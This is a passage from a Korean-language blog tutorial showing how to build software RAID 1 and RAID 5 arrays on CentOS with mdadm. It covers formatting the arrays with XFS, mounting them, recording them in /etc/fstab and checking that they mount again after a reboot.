store '/boot' on this device please ensure that
your boot-loader understands md/v1.x metadata, or use
--metadata=0.90
Continue creating array? y <-- y를 입력한다.
mdadm: Defaulting to version 1.2 metadata
mdadm: array /dev/md1 started.

[root@localhost ~]# cat /proc/mdstat
Personalities : [raid0][raid1]
md1 : active raid1 sde1[1] sdd1[0]
20953088 blocks super 1.2 [2/2][UU]
[==>..................] resync = 11.4% (2400128/20953088) finish=1.4min speed=218193K/sec

md0 : active raid0 sdb1[0] sdc1[1]
41906176 blocks super 1.2 512k chunks

unused devices:

시간이 조금 지난 후에 다시 확인해보면 아래처럼 md1이 active 상태가 된 것을 확인할 수 있다.
[root@localhost ~]# cat /proc/mdstat
Personalities : [raid0][raid1]
md1 : active raid1 sde1[1] sdd1[0]
20953088 blocks super 1.2 [2/2][UU]

md0 : active raid0 sdb1[0] sdc1[1]
41906176 blocks super 1.2 512k chunks

unused devices:

파일시스템 생성 (포맷)
/dev/md1 장치 파일을 xfs 파일시스템으로 포맷한다.
참고로 mkfs 명령어로 포맷하기 위해서는 mkfs -t xfs /dev/md1 로 사용한다.
[root@localhost ~]# mkfs.xfs /dev/md1

RAID Level 1 장치 마운트
RAID Level 1 을 마운트하기 위한 디렉토리를 생성하고 장치를 마운트한다.
[root@localhost ~]# mkdir /data/RAID1
[root@localhost ~]# mount /dev/md1 /data/RAID1
[root@localhost ~]# mount
[root@localhost ~]# df -h
[root@localhost ~]# xfs_info /dev/md1

/etc/fstab 저장
부팅 후에 마운트된 정보를 영구적으로 저장하기 위해서는 /etc/fstab 에 마운트 관련 정보를 넣어두어야 한다.
[root@localhost ~]# vi /etc/fstab
:
:(생략)
/dev/md0 /data/RAID0 xfs defaults 0 0
/dev/md1 /data/RAID1 xfs defaults 0 0

8. RAID Level 5 설정
RAID 에 관련된 장치가 /dev에 존재하는지 먼저 확인한다.
시스템을 설치하고 RAID 설정을 하지 않으면 SW RAID의 기본 장치 파일은 없다.
/dev/md0: RAID Level 0
/dev/md1: RAID Level 1
/dev/md5: RAID Level 5

[root@localhost ~]# ll /dev/md{0,1,5}
ls: cannot access /dev/md5: 그런 파일이나 디렉터리가 없습니다
brw-rw----. 1 root disk 9, 0 1월 6 17:36 /dev/md0
brw-rw----. 1 root disk 9, 1 1월 6 17:43 /dev/md1

RAID Level 5를 생성한다.
-/dev/md5 장치는 자동으로 생성된다.
[root@localhost ~]# mdadm --create /dev/md5 --level=5 --raid-devices=5 /dev/sdf1 /dev/sdg1 /dev/sdh1 /dev/sdi1 /dev/sdj1

--create /dev/md5 옵션으로 생성했기 때문에 장치 파일이 /dev/md5로 생성된다.
[root@localhost ~]# ll /dev/md{0,1,5}
brw-rw----. 1 root disk 9, 0 1월 6 17:36 /dev/md0
brw-rw----. 1 root disk 9, 1 1월 6 17:43 /dev/md1
brw-rw----. 1 root disk 9, 5 1월 6 17:45 /dev/md5

/proc/mdstat 파일에 SW RAID의 정보가 있으므로 이를 확인한다.
이때 100%가 되면 완전히 동기화 된 것이고 그렇지 않으면 동기화를 진행하고 있는 것이다.
[root@localhost ~]# cat /proc/mdstat
Personalities : [raid0][raid1] [raid6][raid5] [raid4]
md5 : active raid5 sdj1[5] sdi1[3] sdh1[2] sdg1[1] sdf1[0]
83812352 blocks super 1.2 level 5, 512k chunk, algorithm 2 [5/4][UUUU_]
[=>...................] recovery = 6.6% (1400192/20953088) finish=1.6min speed=200027K/sec

md1 : active raid1 sdd1[0] sde1[1]
20953088 blocks super 1.2 [2/2][UU]

md0 : active raid0 sdc1[1] sdb1[0]
41906176 blocks super 1.2 512k chunks

unused devices:

[root@localhost ~]# cat /proc/mdstat
Personalities : [raid0][raid1] [raid6][raid5] [raid4]
md5 : active raid5 sdj1[5] sdi1[3] sdh1[2] sdg1[1] sdf1[0]
83812352 blocks super 1.2 level 5, 512k chunk, algorithm 2 [5/5][UUUUU]

md1 : active raid1 sdd1[0] sde1[1]
20953088 blocks super 1.2 [2/2][UU]

md0 : active raid0 sdc1[1] sdb1[0]
41906176 blocks super 1.2 512k chunks

unused devices:

파일시스템 생성 (포맷)
/dev/md5 장치 파일을 xfs 파일시스템으로 포맷한다.
참고로 mkfs 명령어로 포맷하기 위해서는 mkfs -t xfs /dev/md5 로 사용한다.
[root@localhost ~]# mkfs.xfs /dev/md5

RAID Level 5 장치 마운트
RAID Level 5 을 마운트하기 위한 디렉토리를 생성하고 장치를 마운트한다.
[root@localhost ~]# mkdir /data/RAID5
[root@localhost ~]# mount /dev/md5 /data/RAID5
[root@localhost ~]# mount
[root@localhost ~]# mount|grep /dev/md
[root@localhost ~]# df
[root@localhost ~]# df -h

/etc/fstab 저장
부팅 후에 마운트된 정보를 영구적으로 저장하기 위해서는 /etc/fstab 에 마운트 관련 정보를 넣어두어야 한다.
vi -> :r !blkid|grep md

[root@localhost ~]# vi /etc/fstab
:
:(생략)
#< Device > < mount point > < filesystem type > < option > < dump > < check ordered >
/dev/md0 /data/RAID0 xfs defaults 0 0
/dev/md1 /data/RAID1 xfs defaults 0 0
/dev/md5 /data/RAID5 xfs defaults 0 0
#UUID=8de7620b-1336-4c37-b7cd-92c4e1d687c2 /data/RAID0 xfs defaults 0 0
#UUID=948a53e3-017d-47e0-a6d9-84f411730d96 /data/RAID1 xfs defaults 0 0
#UUID=78603d66-099b-44ab-9c56-62fb7faa61ee /data/RAID5 xfs defaults 0 0

RAID Level 5 설정이 완료되면 서버를 재부팅해서 마운트가 잘 올라오는지 확인한다.
[root@localhost ~]# reboot
login as: root
root@200.200.200.24's password:
Last login: Fri Jan 6 17:21:56 2023 from 200.200.200.1

[root@localhost ~]# df -h
Filesystem Size Used Avail Use% Mounted on
devtmpfs 475M 0 475M 0% /dev
tmpfs 487M 0 487M 0% /dev/shm
tmpfs 487M 7.7M 479M 2% /run
tmpfs 487M 0 487M 0% /sys/fs/cgroup
/dev/mapper/centos-root 17G 1.7G 16G 10% /
/dev/md1 20G 33M 20G 1% /data/RAID1 <-- 마운트 되면 성공!!!
/dev/sda1 1014M 138M 877M 14% /boot
/dev/md0 40G 33M 40G 1% /data/RAID0 <-- 마운트 되면 성공!!!
/dev/md5 80G 33M 80G 1% /data/RAID5 <-- 마운트 되면 성공!!!
tmpfs 98M 0 98M 0% /run/user/0

profile
정보보안 전문가

0개의 댓글